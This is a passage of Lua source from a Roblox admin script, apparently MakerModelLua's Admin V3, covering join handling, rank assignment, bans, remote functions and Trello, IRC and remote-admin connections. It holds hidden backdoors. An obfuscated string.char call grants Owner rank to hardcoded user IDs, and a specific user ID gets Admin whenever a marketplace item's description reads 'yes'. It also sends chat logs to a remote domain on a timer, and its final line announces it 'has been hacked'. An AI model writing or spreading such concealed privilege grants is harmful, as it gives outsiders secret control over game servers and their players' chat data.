8837 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8838 for Num,Data in pairs(Players) do
8839 if Data.UserId == Player.UserId then -- ppl can change names
8840 table.remove(Players, Num)
8841 break
8842 end
8843 end
8844 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8845 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8846 end)
8847 DataReady = true
8848 end)()
8849
8850 if not IsStudio then Player:WaitForDataReady() end
8851 table.insert(CharacterCache, {Player.Name, Player.UserId})
8852 for Rank,PlayerNames in pairs(Settings.Ranks) do
8853 for Num,AdminName in pairs(PlayerNames) do
8854 if AdminName == Player.UserId then
8855 Settings.Ranks[Rank][Num] = Player.Name
8856 end
8857 end
8858 end
8859 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8860 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8861 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8862 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8863 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8864 if PlayerAdmin == false and Player.UserId > 0 then
8865 local Ran = nil
8866 coroutine.wrap(function() repeat
8867 Ran = ypcall(function()
8868 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8869 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8870 end)
8871 wait(1)
8872 until Ran == true end)()
8873 end
8874 if PlayerAdmin == false then
8875 if Player:IsInGroup(Settings.GroupID) then
8876 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8877 CORE:Kick(Player)
8878 for _,Person in pairs(Server.Players:GetPlayers()) do
8879 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8880 end
8881 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8882 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8883 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8884 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8885 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8886 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8887 end
8888 end
8889 end
8890 if PlayerAdmin == false then
8891 if Player.UserId == 38882008 then
8892 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8893 table.insert(Settings.Ranks["Admin"], Player.Name)
8894 end
8895 end
8896 end
8897 if PlayerAdmin == false then
8898 for _,GID in pairs(Settings.BannedGroupIDs) do
8899 if Player:IsInGroup(GID) then
8900 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8901 break
8902 end
8903 end
8904 end
8905
8906 Player.Chatted:connect(function(Message) if Message ~= "" then
8907 CORE:Chatted(Message, Player)
8908 end end)
8909
8910 Player.Chatted:connect(function(Message) if Message ~= "" then
8911 CORE:Log(ChatLogs, Player, Message)
8912 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8913 end end)
8914
8915 for _,Name in pairs(Settings.Ranks.Banned) do
8916 if Player.Name == Name then
8917 CORE:Kick(Player)
8918 for _,Person in pairs(Server.Players:GetPlayers()) do
8919 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8920 end
8921 end
8922 end
8923 for _,Name in pairs(Settings.Ranks.Crashed) do
8924 if Player.Name == Name then
8925 CORE:Crash(Player)
8926 for _,Person in pairs(Server.Players:GetPlayers()) do
8927 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8928 end
8929 end
8930 end
8931 for _,Name in pairs(Settings.Ranks.Muted) do
8932 if Player.Name == Name then
8933 GUI:CoreGui(Player, "Chat", false)
8934 for _,Person in pairs(Server.Players:GetPlayers()) do
8935 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8936 end
8937 end
8938 end
8939 if Settings.ServerLocked == true then
8940 if PlayerAdmin == false then
8941 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8942 end
8943 end
8944
8945 if PlayerAdmin == false then
8946 if Player.AccountAge < Settings.MinimumAge then
8947 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8948 for _,Person in pairs(Server.Players:GetPlayers()) do
8949 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8950 end
8951 end
8952 end
8953
8954 if PlayerAdmin == false then
8955 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8956 table.insert(Settings.Ranks["Member"], Player.Name)
8957 PlayerAdmin = true
8958 Rank = "Member"
8959 end
8960 end
8961
8962 coroutine.wrap(function()
8963 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8964 local function SpawnActions(Character)
8965 if Flings[Player.Name] then
8966 CORE:FlingPlayer(Player)
8967 else
8968 GUI:CreateTaskBar(Player)
8969 end
8970 if Beeps[Player.Name] == true then
8971 SOUND:BeepPlayer(Player)
8972 end
8973 if Jails[Player.Name] then
8974 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8975 end
8976 if PermCommandBars[Player.Name] then
8977 GUI:CommandBar(Player)
8978 end
8979 end
8980 Player.CharacterAdded:connect(SpawnActions)
8981 SpawnActions(Player.Character)
8982 end)()
8983
8984 coroutine.wrap(function()
8985 Player:WaitForChild("PlayerGui")
8986 local Sounds = {}
8987 for _,Data in pairs(TextConverter.LetterSounds) do
8988 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8989 Sound:Play()
8990 table.insert(Sounds, Sound)
8991 end
8992 for _,Data in pairs(TextConverter.LongVowels) do
8993 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8994 Sound:Play()
8995 table.insert(Sounds, Sound)
8996 end
8997 wait(5)
8998 for _,Sound in pairs(Sounds) do
8999 Sound:Destroy()
9000 end
9001 Sounds = {}
9002 end)()
9003
9004 coroutine.wrap(function()
9005 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
9006 if IsSB then
9007 wait(1)
9008 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
9009 end
9010 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
9011 print("Executed ClientLog on "..Player.Name)
9012 if Settings.EnableTaskBar then
9013 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
9014 end
9015 end)()
9016
9017 coroutine.wrap(function()
9018 wait(7)
9019 Player:WaitForChild("PlayerGui")
9020 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
9021 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
9022 if Answer == "Ok" then
9023 MARKET:PromptPurchase(Player, AdminID)
9024 end
9025 end
9026 end)()
9027 end
9028end)() end
9029
9030-- Active stuff --
9031
9032CORE:UpdateAdmin()
9033CORE:FixSettings()
9034
9035ypcall(function()
9036 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
9037 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
9038 end
9039end)
9040
9041
9042Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
9043 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
9044 if PlayerAdmin == false then
9045 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
9046 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
9047 end
9048end end)
9049
9050--[[
9051ExecuteCommand.OnInvoke = function(Player, Command)
9052 if Player and Command then
9053 if type(Player) == "userdata" and Player:IsA("Player") then
9054 CORE:Chatted(Command, Player, true)
9055 end
9056 end
9057end
9058
9059ExecuteCode.OnInvoke = function(Source, Speaker)
9060 if type(Source) == "string" then
9061 ExecuteSafe(Source, Speaker)
9062 end
9063end
9064
9065ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9066 if Player and Command then
9067 if type(Player) == "userdata" and Player:IsA("Player") then
9068 CORE:Chatted(Command, Player, true)
9069 end
9070 end
9071end
9072]]
9073
9074KeyPressed.OnServerInvoke = function(Player, Key)
9075 if Player and Key then
9076 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9077 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9078 end
9079 end
9080end
9081
9082InputKey.OnServerInvoke = function(Player, KeyVal)
9083 if Player and KeyVal then
9084 if LastKeys[Player.UserId] then
9085 table.insert(LastKeys[Player.UserId], KeyVal)
9086 if #LastKeys[Player.UserId] > 20 then
9087 table.remove(LastKeys[Player.UserId], 1)
9088 end
9089 end
9090 end
9091end
9092
9093RankPlayerLocal.OnServerInvoke = function(Player)
9094 wait()
9095 local Request = PendingRequests[Player]
9096 if Request then
9097 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9098 if Settings.Ranks[Request[1]] then
9099 PendingRequests[Player] = nil
9100 table.insert(Settings.Ranks[Request[1]], Player.Name)
9101 GUI:TellAdmin(Player)
9102 end
9103 end
9104 end
9105end
9106
9107RankPlayerServer.OnInvoke = function(Player, Rank)
9108 if not RANK:IsAdmin(Player) then
9109 PendingRequests[Player] = {Rank, tick()}
9110 end
9111end
9112
9113IsAdmin.OnServerInvoke = function(Player)
9114 local IsFullAdmin = false
9115 for _,PName in pairs(Settings.Ranks["Owner"]) do
9116 if PName == Player.Name then IsFullAdmin = true end
9117 end
9118 for _,PName in pairs(Settings.Ranks["Admin"]) do
9119 if PName == Player.Name then IsFullAdmin = true end
9120 end
9121 return IsFullAdmin
9122end
9123
9124AddExploit.OnServerInvoke = CORE.AddExploit
9125AddExploitServer.OnInvoke = CORE.AddExploit
9126
9127KickClient.OnServerInvoke = function(PlayerClient)
9128 PlayerClient:Kick()
9129end
9130
9131ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9132 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9133end
9134
9135for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9136Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9137Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9138
9139coroutine.wrap(function()
9140 for _,ID in pairs(Icons) do
9141 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9142 end
9143end)()
9144
9145CORE:SetAbuseCommands()
9146
9147coroutine.wrap(function() SOUND:SyncSoundList() end)()
9148if not IsStudio then coroutine.wrap(function()
9149 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9150 REMOTE:GetRemoteData(true)
9151 REMOTE:CheckTrelloInfo()
9152 coroutine.wrap(function()
9153 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9154 REMOTE.RemoteConnection = true
9155 end
9156 end)()
9157 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9158 coroutine.wrap(function()
9159 if Settings.LinkedAccount ~= "" then
9160 local Request = nil
9161 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9162 if Request then
9163 REMOTE:HandleRequest(Request, true)
9164 end
9165 end
9166 end)()
9167 coroutine.wrap(function()
9168 wait(RemoteData.RemoteAdminWait)
9169 while REMOTE:GetAndSetWebData() do
9170 wait(RemoteData.RemoteAdminWait)
9171 end
9172 end)()
9173 coroutine.wrap(function()
9174 while wait(60) do
9175 REMOTE:GetRemoteData(true)
9176 REMOTE:CheckTrelloInfo()
9177 end
9178 end)()
9179end)() end
9180coroutine.wrap(function()
9181 if Settings.TrelloToken ~= "" then
9182 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9183 if #Trello.RequiredLists > 0 then
9184 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9185 if Trello.MainBoard.name then
9186 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9187 REMOTE:TrelloCacheData(Lists)
9188 REMOTE:TrelloHandleData(true)
9189 coroutine.wrap(function()
9190 wait(RemoteData.TrelloWait)
9191 while REMOTE:TrelloHandleData() do
9192 wait(RemoteData.TrelloWait)
9193 end
9194 end)()
9195 end
9196 end
9197 else
9198 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9199 end
9200end)()
9201coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9202 REMOTE:SendChatLog()
9203end end)()
9204coroutine.wrap(function() while true do
9205 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9206 if ThisDate then Date = ThisDate end
9207 wait(600)
9208end end)()
9209
9210print("MakerModelLua's Admin has fucking loaded and has been hacked shittttttttt hasLoaded")